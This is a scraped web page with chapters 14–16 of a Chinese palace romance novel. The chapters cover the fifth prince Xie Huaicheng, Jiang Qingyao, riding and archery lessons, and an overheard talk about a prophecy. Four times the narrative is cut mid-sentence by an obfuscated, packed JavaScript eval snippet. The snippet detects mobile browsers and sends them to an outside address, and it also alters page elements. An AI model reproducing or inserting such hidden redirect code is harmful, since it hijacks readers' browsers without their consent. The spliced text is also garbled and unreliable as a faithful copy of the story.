一阵寒风吹过,谢怀琤回神。眼前的景色让他清醒过来,不由得自嘲一笑,正欲抽出手臂,却见姜清窈如从前一样,从衣袖中取出了一方手帕。 洁白的颜色,并无多余杂饰,只在一角绣着弯月如眉。她将手帕递给他,示意他包扎一下伤口。 谢怀琤一时间怔住了。 姜清窈见他愣愣的无甚反应,索性便替他用手帕包裹住了手掌。她的动作轻柔,手帕接触伤口时有轻微的痛感,然而谢怀琤的所有注意都落在了她的发顶。 她素来不喜奢华,满头乌发上并无多么华贵的饰物,除去一根步摇外,便只有发髻上压了几朵小小珠花,显得玲珑可爱。他一低头,便可嗅到她发间隐约的香气。 谢怀琤忽然觉得呼吸困难,胸口一阵窒闷,有些狼狈地转开了目光,却不知为何,那只手上仿佛覆了万钧之重,教他没有丝毫力气抽回。 姜清窈将手帕系好,一抬头恰好撞见他仓促移开的目光。她心中低叹一声,默默松开手,向着他微微颔首示意,随即缓慢地往宫道上走去。 直到少女的身影已然彻底消失在视线内,谢怀琤才慢慢低头,盯着手掌上的那抹白色。伤口处还有些隐痛,若是幼时那个娇生惯养的他,定然会借机倚在母妃怀里掉几滴眼泪,或是故意对那个女孩儿呼几句痛。 可如今,他再不会为任何疼痛而皱一次眉。可偏偏方才她柔软的手指抚过他掌心时,伤口的痛楚却好似在那一刻愈发强烈了。 谢怀琤闭了闭眼,掩住眼底的情绪。他紧紧攥紧了拳,似乎这样就能够留住那手帕上的余温。 * 今日宫中虽少有人在,但萤雪殿的夫子却依旧准时前来授课了。 翠微堂和风荷堂,各自便只有一名学生。散学后,姜清窈收好笔墨纸砚,揉了揉酸痛的手腕。 这几日她不敢松懈,每日都在勤练书法,今日课上终于看见葛夫子面上显出一丝满意之色。许是因为今日只有她一人的缘故,葛夫子破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13463978|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天荒地多说了几句。 他自是能看得出来,姜清窈的字是她母亲一手所教,自然是时遐一脉相承下来的风貌。正因如此,他便针对姜清窈如今的字说了些见解与点评,末了望她不要堕了时老前辈的风骨。 余光瞥见一个人自翠微堂那边走来,停在自己身侧几步的地方。他并未急着走,而是同样站定,沉默地望向前方。 姜清窈转头,看见他手掌处并未包扎,想来是伤口已经愈合。她心中不知是何情绪,只徐徐收回目光。 不多时,微云已经推着轮椅走了过来。萤雪殿的院落里是砖石地,并不十分平坦,她颇费了些力气,额角甚至都渗出了隐隐的汗。姜清窈见状,便抬手止住她欲要上前搀扶的动作,独自缓慢地步下石阶。然而刚迈出一步,受伤的左脚堪堪落地的那一刻,一阵疼痛忽然袭来,她忍不住轻声吸了口凉气,眉头也蹙了起来。 忽然,一阵清冽的气息拂过面前,那个原本站在一旁的少年几步走了过来,隔着冬日厚实的衣裳,牢牢握住了她的手臂,支撑住了她的身子。 姜清窈没料到他忽然会有此举动,定了定神,才缓缓抬起头,落入少年深邃的眸光之中。他看着她,口唇轻微一动,似乎有什么话要说,却最终还是未发一言。 后知后觉一般,脚踝处的疼痛愈发强烈。姜清窈咬唇,强忍着那股不适,松开手,想要艰难地走到轮椅旁坐下。 然而谢怀琤却没放开她的手臂。姜清窈抬眸看他,轻声道:“五殿下,我自己可以的。” 他不为所动:“既然伤势未愈,就莫要逞强了。”手上的力道并未减轻些许。 姜清窈无奈,只得依从他,借着他的支撑,慢慢挪到了轮椅上坐下。待她坐稳,谢怀琤才松开了手。 他掌心滚烫,蕴着无尽力度和热意,即便隔着衣裳,却依然让姜清窈心头一跳。她不知为何一阵慌乱,便极快地说了一句:“多谢殿下。” 谢怀琤沉默未语,静静看了她半晌,伸手覆在了她所坐的轮椅后方,握住了那木制的把手。 微云愣住:“五殿下,您这是——” 谢怀琤不语,只手上微微一使力,便推着姜清窈向萤雪殿外走去。车轮滚过砖石地,有轻微的颠簸和震颤,并不算多么平稳。姜清窈侧头,只看见他用力到青筋毕露的手背。头顶是他均匀而温热的呼吸,一起一伏,悄然消解在了生冷的空气之中。 从阶下到殿门外的路很短,不过片刻便已到了。眼看着到了人来人往的宫道之上,谢怀琤很快松开了手退开了几步,与她保持着生疏而又不见异样的距离。旁人纵使经过,也只会以为他们二人素不相识,并无往来。 姜清窈只觉得喉咙一阵滞涩,她默了默,低声道:“多谢殿下今日援手。” 谢怀琤将手藏进了袖中,声音很淡,让人捉摸不透其中情绪:“不必。” “只当是,还你当日助我的人情罢了。” 14. 策马 姜清窈一怔,他却已经迈步离开,很快走远了。她回想着“人情”二字,不禁摇了摇头,道:“微云,我们快些回宫吧。” 路上,微云小声道:“姑娘,方才五殿下那般做法,奴婢还真有些担心。” “担心什么?”姜清窈问道。 微云沉默片刻,道:“娘娘和二公主都说,莫要与五殿下有什么往来,否则只怕会触怒陛下。奴婢实在害怕。” 她顿了顿道:“原本姜家的地位和姑娘的身份,便足以令许多人顾忌了。若是再不慎落了什么话柄,只怕陛下......” 姜清窈轻叹一声道:“我又何尝不知?父兄手握兵权,威慑北境一方,姑母又贵为中宫之主。愈是这样烈火烹油之势,我们便愈要小心谨慎,否则一旦踏错一步,便会招来无尽祸患。” “可是......”她柔肠百转,喃喃自语道,“你自小便服侍我,自然知道我与五殿下相识多年的情分。那些年的时光,我留在宫中,几乎是与他日日相处,姑且也算得上青梅竹马吧。昔年两小无猜之情虽已不复,但我却也无法做到对昔日的朋友视而不见,在他受苦之时袖手旁观。” “我自然晓得该明哲保身,莫要让自己卷入他人的风波之中。可我瞧着他如今的模样,心中实在不忍。况且,当年秋娘娘对我极好,她若在天有灵,看见五殿下经受这般苦楚,不知又要流多少眼泪。” “姑娘终究是心善又念旧,”微云撇了撇嘴,“可五殿下先前却那副态度,丝毫不念姑娘的好意,姑娘何必还对他这般好?” 随着永安宫的匾额出现在眼前,姜清窈道:“我明白你的意思,放心,我有分寸。” “毕竟,他是个可怜人。”她的叹息消散在风中。 * 暮色四合,帝后回宫的队伍进了宫城。 整整一日的赶路,皇后面上显出疲色,但仍强撑着用了晚膳。膳桌上,她特意问了姜清窈道:“听说今日你又请了太医?是伤又反复了吗?” 姜清窈道:“太医说并无大碍,只是今日行走的时间略长了些,休息几日便好。”她问道:“姑母,今日祈福还顺利吗?” 皇后颔首:“云潭寺风光依旧,只是山中有些冷。衍儿安排的一切,自然不会出什么岔子。” 谢瑶音闻言笑眯眯道:“窈窈,待春暖花开之时,你一定要去云潭寺赏景,否则一定会抱憾不已。” 姜清窈笑着应了,又听她道:“母后,今日去祈福的世家贵女个个如花般娇艳,可惜皇兄对此视而不见,我竟没有见他多瞧谁一眼。” 皇后笑道:“你皇兄素来是个有主意的,你就莫要替他担心了。” 谢瑶音接过宫女奉上的茶漱了漱口,又道:“皇兄似乎很信大师口中的命格与解签之说。我见他特意屏退左右,与那位秉烛大师密谈了许久,出来时满面若有所思的模样。” “秉烛大师德高望重,曾为多人详解过命数,深得京都中人敬重与钦佩,连陛下也曾亲上云潭寺向他讨教过,”皇后道,“衍儿如此相信,也不足为奇。想来,衍儿定是为了读书与朝政之事向大师请教。” 姜清窈忆起数日前那场怪梦,一时间有些沉默,直到谢瑶音扯了扯她的衣袖道:“今日似乎只有五皇兄和四妹妹同你一起待在宫中,你可曾见到他们?” “四公主抱病,未曾露面,”姜清窈抿唇,“倒是在萤雪殿遇见了五殿下。”她看向皇后,试探着问道:“姑母,凡祈福的场合,五殿下都不能前去吗?” 皇后柳眉轻拢,道:“陛下不准他参与任何宫内宫外的祈福祭祀。若是太后在宫中,兴许能宽限他,准他在陛下的万寿和除夕家宴上露面。” “说起来,皇祖母何时回宫?”谢瑶音问道,“我有些想念她老人家。” 皇后抚了抚她的鬓发:“前几日陛下说,约莫还有半个多月。” 又说了些话,皇后便自去歇息。谢瑶音自然是留在了永安宫,与姜清窈同寝而卧。 内寝炭火烧得暖热,帷帐垂落至地。姜清窈倚在床头,听谢瑶音说着今日祈福一路的见闻。 “那位傅姑娘与三妹当真是要好,今日出行,她二人可谓是形影不离,”谢瑶音道,“自打她入宫,四妹便愈发沉默寡言了。” “虽然我第一眼便莫名不喜那傅宝吟,”谢瑶音摇摇头,“但今日那些贵女中,她确实是最出挑的。不论是家世,还是才貌,我确实不曾见有人胜过她。” 姜清窈笑问道:“那么太子殿下是否对她另眼相看?” “自然是不曾的,”谢瑶音揉了揉额角,“皇兄眼里只有大师,又怎会留意身边如花似玉的姑娘们。” “如你所言,兴许这位傅姑娘便是太子妃最合适的人选了?”姜清窈接话道。 谢瑶音思索道:“傅家的地位在朝中文臣之中举重若轻,傅宝吟的祖父还曾做过皇兄的老师,或许皇兄会因此对她另眼相待?” “只是我不明白,”谢瑶音喃喃道,“傅宝吟是贵妃引荐入宫的,她为何没有想过自个与傅家结亲?明明她也生有皇子啊。” “想来是因为六殿下还年幼,尚未到婚配的年纪吧。”姜清窈道。 “罢了,皇兄的婚事,我们也不必多思,”谢瑶音打了个哈欠,脱去外衣躺下,“今日实在是疲累。幸而明日是课假,我可以躲懒了。”话音刚落,她的呼吸已经变得平缓。 姜清窈失笑,便替她掖了掖被角,自己也躺下闭上了眼。 * 过了些时日,姜清窈的脚伤已经彻底痊愈,终于可以自如地下地行走,不必再依靠轮椅与拐杖。她提起裙角,一时间还有些不大适应足底踩到实处的感觉,在永安宫的院子里走了几圈才逐渐习惯。 这日用罢午膳,谢瑶音说起今日晡时该去演武场上武学课,便兴冲冲地拉着姜清窈挑选衣裳。 太过柔软曳地的衣裙自然是不能穿的,两人便换了身轻便易行动的骑装。鲜亮明媚的颜色,衬得两人唇红齿白,眉眼如画,是独属于年轻姑娘的风采。 演武场位于皇宫东北角,阔大宽敞,占地极大,四处密林环绕,有马场、射箭场。她们到达演武场时,翠微堂的少年们已经纵马驰骋了好几圈,恰好去了旁边的射箭场练习射术。 “窈窈,我们来得正巧,”谢瑶音笑吟吟地道,“三皇兄他们正好不在这边了。” 负责教授马术课的是禁卫军中的一名军士,名叫燕辙,他虽温和耐心,却许是生怕她们受伤,所教授的不过是寻常的驭马行走,不敢任由她们纵马。谢瑶音总想趁他不备,松松快快地驰骋一番,燕辙却眼疾手快,总是恭敬地劝阻。 对待姜清窈,他亦是如此。因而,当姜清窈挑选了一匹高大而健壮的马后,他正欲劝阻,一旁的谢瑶音道:“燕将军,你难道不知姜姑娘的身份吗?” 她见燕辙微微愕然,便知这个看着木讷的少年并不知道姜清窈姓甚名谁,便耐心道:“她是驻守北地的姜大将军之女,自小便是骑马射箭样样不落地学,难道你还担心她会骑不好马吗?” 燕辙虽久居宫中,不曾上过战场,但北地之军的威名与实力赫赫,天下无人不知,他自然也不例外。听了谢瑶音之言,他这才恍然大悟,面上有些赧然,躬身道:“姜姑娘请自便。” 另一边,以三皇子为首的几人正在搭弓射箭,两两练习,箭羽连绵不断地射出,嗤嗤破空之声不绝于耳。 “五弟,你的伤好些了吗?”三皇子放下弓,看向沉默站在一旁的谢怀琤。 谢怀琤淡声道:“已然无碍,多谢三皇兄关怀。” 三皇子看着他漠然的神色,略显无奈地叹了口气,目光落在一旁正和人嬉笑的六皇子身上。六皇子正在抛掷着石子玩,嘻嘻哈哈声不绝于耳。 宫中没有秘密,他自然知道那个顽劣的六弟做出了什么事情。可父皇的态度便是默许了一切,他身为人子,又岂敢多事。 他眼底掠过悯色,慢慢移开了目光,走下了场。 另一边,教授箭术的军士道:“五殿下、六殿下请。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13483181|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢怀琤垂眸看着自己的手掌,那里还留着一道淡淡的伤疤。他握了握拳,几步上前拿起弓,勒满弓弦,对着远处的箭靶缓缓瞄准。大病初愈后的双臂还有些虚弱,但并不影响他射出了稳稳的一箭。 “嗤”的一声,箭没入靶。 一旁的六皇子看着他连射多箭,箭无虚发,眼底满是轻蔑与不服,哼了一声,扔下手中的石子,拿过自己的弓箭。然而他生性懒怠,平日便疏于练习射术,连发了几箭都无准头。三皇子见了,便道:“六弟还须多加练习才是。” 军士在旁数道:“五殿下,发十矢,中十矢。” “六殿下,发十矢,中一矢。” 六皇子心中不服,横了谢怀琤一眼道:“他不过是运气好罢了。” 他压低声音道:“五皇兄,那日被我的人打得吐血的滋味好不好受?” 谢怀琤恍若未觉,只弯弓搭箭,将余下箭矢一一射出,这才凝眸看向他。 那双眼睛淡漠而冰冷,犹如深不见底的寒潭,生出一股彻骨的压迫感。他虽一语未发,却看得六皇子莫名觉得身上发冷,便嘴硬道:“你盯着我做什么?难道我说错了吗?” 谢怀琤似乎扯了扯唇角,那弧度转瞬即逝。 六皇子以为他不过是虚张声势,顿时松了口气,口中鄙夷道:“我以为你多有骨气,不过是——”话音未落,他面上嘲讽的笑倏尔僵住,原本得意洋洋的神情渐渐变得惊恐,瞪圆了眼睛,张口结舌道:“你!你要做什么?” 对面的少年抬起手臂,左手持弓,右手扣弦,缓缓将弓拉满,让箭对准了他的眉心。 那双眼睛霎时间变得阴鸷森然,仿佛攫取猎物般的势在必得。他的动作分明是漫不经心的,可六皇子清晰地看出他眼底的杀意。 有一瞬间,六皇子毫不怀疑他真的会杀了自己。 紧接着,谢怀琤手一松,眼看着那箭矢便要穿云而出,直奔自己而来。 六皇子惊声尖叫,怒喝道:“谢怀琤,你敢伤我?”被贯穿头脑的疼痛感仿佛随之而来,他双手捂住眼睛,嚎啕了起来。 四下似乎静默了片刻。六皇子心跳如鼓,气喘吁吁地慢慢睁开眼,发现众人都在看着他,一脸愕然。 三皇子问道:“六弟,好端端的,你这是怎么了?” 六皇子惊魂未定,定睛一看,谢怀琤已然收拢目光,站在原处整理着弓弩,神色平静得仿佛什么都没有发生。他张口结舌,指着谢怀琤道:“他——他——” 三皇子顺着他手指的方向,微蹙眉道:“五弟方才在练习射箭,有何不妥?你为何说他伤了你?” “什么?可他分明是在——”六皇子的声音骤然熄在了喉咙中,他看见那只方才对准了自己的箭,此刻正安安静静地钉在远处的靶上。那微微颤动的箭尾似乎在嘲笑自己方才的窘态。 再看谢怀琤,面无表情,眉眼不曾有丝毫波动,仿佛眼前发生的一切都与他无关。六皇子转惧为怒,咬牙道:“谢怀琤,你——” 随着这一道声音,隔着一排高大的树木,众人忽而听见那边的马场传来了马蹄落地的哒哒声,稳健有力又带着迅疾之风声,似乎有人正在纵马。 循声望去,马场里尘土飞扬,骏马嘶鸣,马背上的少女一身浅绯色骑装,身姿挺拔,一头长发挽成发髻,随着她的动作而在半空中掠过一道柔美的弧度。此时金乌西坠,橙色的余晖落在她的侧脸上,将那莞尔浅笑镀上了一层暖色的光。 “那是哪家的贵女?”有人好奇出声问道。 谢怀琤喉头一滚,仿若不觉地转过头,继续盯着自己手中的弓,耳边却听见三皇子笑道:“那是母后的娘家侄女,姜姑娘。” “就是姜大将军的女儿?” “她看着柔弱,却如此擅马术,果然是出身将门世家。” 在众人纷纷的议论声中,无人察觉到,谢怀琤慢慢抬起了头,目光落向马背上的少女。 她娇丽明媚的笑映着苍茫暮色,尽数落进了他眼底。 15. 命格 姜清窈在马场里痛快地驰了几圈,呼吸里皆是凉意,是许久未有的畅快。 她握着缰绳,控着马儿稳稳停住,这次利落地翻身下马。燕辙接过缰绳,正好对上少女带着红晕的双颊和笑意盈盈的眼睛,忽然觉得面上一热,忙匆匆撇开目光。 “窈窈!”谢瑶音上前挽住她的手臂,“你的马术果然还是一如既往的好。” 姜清窈抿嘴一笑,余光看见谢如婉与傅宝吟正立在不远处。这武学课虽也是人人皆要学的,但宫中对公主的要求到底是不如皇子那般严格,皇帝亦不在意,因此其他几位公主和贵女大都不喜这门课。 她们或担心不慎坠马受伤,或喜静喜洁,不愿弄得满身尘土,因此每日不过是换上骑装来马场走一走罢了。燕辙身为臣子,自然也不会以此事去要求什么。久而久之,便只有谢瑶音会全心全意地练习骑术了。 姜清窈敛去思绪,缓步走过去。谢如婉依旧上带着笑,而傅宝吟的眼神则带着探究,并无往日客气的笑意。 再走近几步,那种眼神很快消失,以至于姜清窈以为那是自己的错觉。她微微一怔,尚未来得及细想,那两人已经迎了上来,笑道:“姜姐姐方才真是英姿飒爽。” 傅宝吟道:“姜姐姐的伤已经大好了吧?改日我定要向姐姐好生讨教一番。” 姜清窈浅笑:“哪里的话?我不过是粗通些骑术罢了,该是我们互相讨教才是。” 傅宝吟但笑不语。 “好了阿吟,天寒地冻的,我们回去吧。”谢如婉说着便徐徐转身欲走。 一旁的谢凝玉咬了咬唇,对上谢如婉的目光,轻声道:“三姐姐先回去吧,我……我想在这里待一会。” 谢如婉蹙眉:“四妹还有何事?” 谢凝玉小声道:“我……我想练一会儿骑术。” “什么?”谢如婉讶异不已,“你竟会对此事这般上心?” 许是她语气里的质疑太过明显,谢凝玉低了头,一时间没说话。 “走吧。”谢如婉只当她在玩笑,没放在心上,只扯了扯傅宝吟的袖子便欲离开。然而她走出几步,却见谢凝玉依然站在原地,面上颇有几分倔强。 她这才意识到那不是玩笑话,不由得有些不耐,道:“你这般柔弱,莫非也想着像旁人那样策马扬鞭?我劝你还是早些回去才是正经事。” 傅宝吟掩唇一笑:“莫非四公主听多了戏文,也想着做个巾帼将军?可惜注定是不能了。” 谢如婉笑道:“那些不过是供人一笑罢了,四妹你怎的如此痴傻?你以为你是二姐姐或是姜姐姐,能制得住那马匹?若是不小心摔了,岂不是让这儿的宫人看了笑话?” 两人兀自发笑,徒留谢凝玉嘴唇翕动,眼眶有些发红。她看了眼马场,脚底像生了根一般迈不动步子。 姜清窈心中不忍,看了眼谢瑶音,轻轻点头。她碍于身份,不好直接与谢如婉争辩,但谢瑶音并无这重顾虑,当下毫不犹豫道:“三妹妹这话不对。骑术本就是我们进学的一门课,为何四妹妹不能加以练习?她尚未上马,你怎能断言她一定会摔下马来?” “我不过是担心四妹妹大病初愈,无力骑马罢了,二姐姐何必这般疾言厉色?”谢如婉愣了愣,登时作出一副委屈之态。 傅宝吟亦道:“二公主,三公主不过是关心则乱罢了,并非有意阻碍什么。” “四妹又不是懵懂孩童,难道还不知自己的身体能不能骑马?”谢瑶音扫了谢凝玉一眼,见她低眸不语,便道,“四妹,你这会子想不想骑马?若你想,我和窈窈都可以陪你一道,或是让窈窈指点你一二,必不会让你受伤的。” 姜清窈看着她瘦削的双肩,心中低低一叹,开口道:“若四公主不嫌弃,我可以陪你一道练习。” 谢凝玉抬头,对上两人的目光,心中一动,便欲开口。 一旁的谢如婉冷笑一声,向傅宝吟道:“罢了阿吟,咱们走吧。母妃还在宫中等着我们用晚膳,听说怡嫔娘娘也在。” 那几个字落入谢凝玉耳中,她身子一颤,原本要说出口的话便下意识咽了回去。 “四妹,你究竟是如何想的?”谢瑶音见她久久不开口,忍不住提高了声音。 那边谢如婉已和傅宝吟举步往骑射场外有去,谢凝玉有些无措地立在原地,双手揪住衣裳摩挲许久,终于在谢如婉的身影即将消失在视线中时涩然开口:“……二姐姐,姜姐姐,我还是……不骑马了。” 她不敢去看谢瑶音的目光,只匆匆行了一礼,便提起裙角快步朝着那两人追了过去。擦肩而过的一刻,姜清窈隐约看见她眼底有水光。 谢瑶音有些恨铁不成钢:“四妹怎么如此懦弱?对三妹的话这般言听计从,一点自己的主意都没有吗?” “阿瑶,或许四公主也有她的为难之处,”姜清窈轻声道,“她可能还是觉得自己的身子尚未好全,想着过些时日再说。” 谢瑶音不住地摇头叹气:“四妹哪里都好,唯独性子太过柔弱。瞧她方才的模样,定是担心被怡嫔责骂,才会如此胆怯。” “怡嫔娘娘……对四公主很严厉吗?”姜清窈记忆里,那是个性情柔和的女子。 谢瑶音环顾四周,低声道:“她从前确实温婉,可是自打……秋娘娘故去,她转投了贵妃,便变了性情。” 姜清窈一时无言,只道:“这些年宫中当真是变化很大。” 两人又闲话了一番,才离开演武场。谢瑶音揉了揉手臂道:“许久不曾骑马了,今日竟觉得有些累。” 姜清窈替她捏了捏,道:“待回宫后好好休息。” 两人一面说着话,一面穿过演武场外的一小片密林。这儿不远处便是宫中一处供人赏玩的景致,有假山树丛,亭台楼阁。此时暮色沉沉,晦暗的光平添了几分寒意。谢瑶音瞥了一眼,道:“窈窈,我们快些走吧。这儿白日里看着明朗,这个时辰倒显得阴森森的。” 姜清窈点点头,正欲加快步伐,忽然听见林子里传出一声细细的猫叫声。她愣了愣,谢瑶音显然也听清了,讶异抬眸:“窈窈,你听见了吗?” “哪里来的猫儿?”姜清窈四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13520032|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处张望了一番,便见一抹灰色的影子从斜刺里窜了出来,顷刻间便到了两人脚边。 谢瑶音眼睛一亮,立刻蹲身下去,抬手想要抚摸,只是那猫儿甚是高傲,将身子一扭,便迅捷地从她手心下逃开了。 “不知是哪个宫人养的猫,竟跑到了这里。”谢瑶音看着那猫悠然自得地在不远处一块石头上趴倒,静静梳理着自己身上的毛发。她心中按捺不住,蹑着步子上前,终于如愿以偿地触到了猫儿的身子。 那猫似乎犹豫了片刻,最终还是任由她动作。谢瑶音眉眼弯弯,道:“窈窈,你瞧这猫儿甚是乖巧可爱。” 姜清窈走上前,仔仔细细打量了一番,心中愈发确定,这便是那日自己在韶园外遇到的那只猫,也是令自己扭伤的“罪魁祸首”。她心中有些好笑,轻轻摇头道:“原来是你啊。” “窈窈,你说什么?”谢瑶音回头看她,手下一松,那猫儿很快便跳下了石头,在泥地上留下一串爪印。 两人对视了一眼,还是没忍住跟了过去。 那猫跑得极快,两人跟到了假山石附近,便再也找不到它的踪影了。谢瑶音站定,扶了扶有些散乱的发髻,道:“罢了窈窈,我们回宫吧,天愈发黑了。” 往回走了几步,姜清窈忽然站定,摸了摸袖口。 “我的帕子呢?”她发觉袖子中空空如也。 “是不是方才追逐那只猫儿,不小心落下了?”谢瑶音问道。 “阿瑶,你先回宫,我原路回去找找。”姜清窈说着,便转身欲走,却被谢瑶音一把拉住:“我同你一起去。” “无妨,”姜清窈握了握她的手,“你在此处略等我片刻,我很快便回来。这儿地方不大,应当很快便能找到。” 劝住了谢瑶音,姜清窈这才沿着方才的路,循着泥地上的脚印,仔细弯腰寻找着。 眼看越走越深入了密林之中,姜清窈不觉止住了步子,犹豫要不要继续找下去。左右那方帕子并无什么要紧,即便丢了也无大碍。这念头甫一转过心头,她便看见前方假山洞口地面上露出玉白色的绢帕一角。 姜清窈面上浮起喜色,上前几步捡起,正是自己的帕子。她小心地拂去表面的尘土泥渍,放入袖中收好,正欲提步离开,忽然听见假山那边传来低低的交谈声,其中一人的声音十分耳熟。 “谈先生,秉烛大师的批语,你如何看?”声音不复往日的温润,而多了几分阴沉,正是太子谢怀衍。 “殿下,臣自得殿下谕令,便亦暗中卜卦推演,所得卦象与秉烛大师所言有不谋而合之处。”说话的人声线苍老,似乎是个年迈之人。 “因此,果真有此命格?” “......栖于东南,拥冰雪而破苍穹,临清泉而望山巅。”苍老的声音缓慢念诵着令人听不懂的字句,果不其然引起了对面人的疑问:“此语何解?愿闻其详。” 不知为何,姜清窈脑海中似乎有一根弦被一只无形的手“铮”地一拨,震得她一阵晕眩,不由得伸手扶住了假山石壁,不由自主地向着说话声处迈了一步。 16. 胭脂 “殿下稍安,臣——”话音未落,姜清窈忽觉脚下掠过一团毛茸茸的东西,它扑向了假山旁的一棵树,将那枝叶晃动得扑簌作响,在这寂然无风之处,显得格外清晰。正在说话的人登时察觉,立刻噤了声,低声道:“什么人?”说着,那脚步声便欲往姜清窈这边来。 她一阵慌乱,四下一扫便欲提步离开,然而匆忙之间整个身子却如同被钉在了地上一般动弹不得。耳边听着那两人的步伐声愈来愈近,姜清窈身子微微颤抖,舌根发酸,喉咙滞涩,一颗心几乎要跳出胸腔。 忽然,一只手从假山的山洞里猝然伸了出来,紧紧攥住她的手腕用力一扯,姜清窈只觉得一阵天旋地转,整个人不受控制地扑了过去,身影随之隐入黑漆漆的山洞。 她被这动静惊得失措,本能地险些出声,那人似乎早有预料,温热的掌心悄然贴上,覆住了她的唇,将她刚刚出口的气音隔绝住。 那边,密谈的两人走过来,发觉是一只不知何处来的猫正在扑腾玩耍,这才松了口气。那人低声道:“殿下,此处毕竟显眼,不如我们换一处再细谈吧。” 太子谢怀衍淡淡道:“你身为已致仕的老臣,若不是此次祭祀,陛下忆起往事再度召你入宫觐见,我又何曾有机会能见到你?” “殿下折煞老臣了,”那人声音十分惶恐,“殿下尽管吩咐,臣自当奉命。” 两人的声音渐远,而几步之外的山洞里,姜清窈惊魂未定地松了口气。她整个人向前倾着,几乎是依偎在身前人的怀中,双手紧紧抓住他的衣襟,急促地呼吸着。 直到心跳渐渐趋于平缓,姜清窈这才记起方才有人救了自己,使自己免于被太子发觉的结果。她抬头,那人恰好也低头看过来,两下目光一触,呼吸交织,无声中升腾起一股难言的隐秘气息。 谢怀琤后背抵着假山坚硬冰冷的石壁,怀中却是一片滚热。 “五殿下?”她张口,却发觉他的掌心依然拢着自己的唇。 柔软的唇轻轻擦过他的掌心,少女启唇时温热的气息有些酥麻,谢怀琤一震,仓促地松开手。 姜清窈这才意识到此刻两人的距离有多么近,不由自主地往后一退。然而这假山并不十分宽敞,她身后便是石壁,有不少锐利的尖石。 预料之中的疼痛并未袭来,有人先她一步,伸手垫在她后脑。那股力道不轻不重地迫使她向前一个踉跄,不由自主地再度跌进了谢怀琤怀里,脸颊贴上他的胸膛。 耳边是少年隆隆的心跳声,他沉沉呼吸着,垂在身侧的手下意识握紧。那只原本垫在姜清窈身后的手悄无声息地抬起,悬在她肩头处半晌,又颓然垂落。 这般亲密的姿势实在微妙,姜清窈连忙艰难地站直身子,默默往后退了一步,与谢怀琤四目相对。 他眼底暗色沉沉,如同藏着惊涛骇浪一般翻涌不息,却又在倏忽之间归于平静。 “方才多谢殿下施以援手。”她轻声道。 谢怀琤似乎淡淡嗯了一声,没有多言。姜清窈犹豫了一下,道:“殿下一直在这里吗?” 他淡声道:“比你略早一刻钟。”言下之意,太子先前的话他应当尽数听清了。 姜清窈来不及去深思那番令人如堕云雾的话。她略一定神,问道:“这个时辰,殿下怎么独自在这里?” 他眉梢轻抬,目光落向她身侧,道:“我并非独自一人。” 姜清窈愕然,以为身畔有旁人,慌忙转头,却空无一人,不觉瞪大了眼睛。许是她的神情太过变幻莫测,少年唇角扬了扬,很快平复。 “在你脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13520033|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。”他出声道。 姜清窈低头,看见那只灰猫懒洋洋地趴着,圆滚滚的眼睛正好奇地看着自己。她讶异不已,正想俯身去摸,那猫儿却轻盈一跃避开了她的动作,一溜烟地跑远了。 “它可真是淘气。”姜清窈直起身子,语气带着笑意。 谢怀琤顿了顿:“莫非你识得它?” 姜清窈点头,但此时天色渐晚,山洞里本就避光,此刻更是昏暗不已。她意识到谢怀琤看不清自己的动作,便开口道:“先前,我曾在韶园附近见过它。” 说起那日,姜清窈不自觉想到了在亭中离别时他说过的话,唇角的笑淡了淡。 静了片刻,她想起谢瑶音还在等着自己,便开口道:“时辰不早了,殿下也早些回宫吧。”说着,她向谢怀琤微一颔首,便转身离开了山洞。 骤然离开那逼仄的地方,姜清窈情不自禁地长舒了一口气。她回想起方才险些被发现时的惊险,只觉得后怕。 刚走出几步,她便听见了谢瑶音的声音:“窈窈!你去哪儿了?” “阿瑶,”姜清窈站定,“我方才在假山那边寻到了我的手帕。” 她尽力让自己的语气与往日一样:“我忘了时辰,你等了许久吧?” 谢瑶音摇摇头:“我一路走过来,并未一味枯等。既然找到了,我们还是快些回宫吧。” 姜清窈点头:“好。” 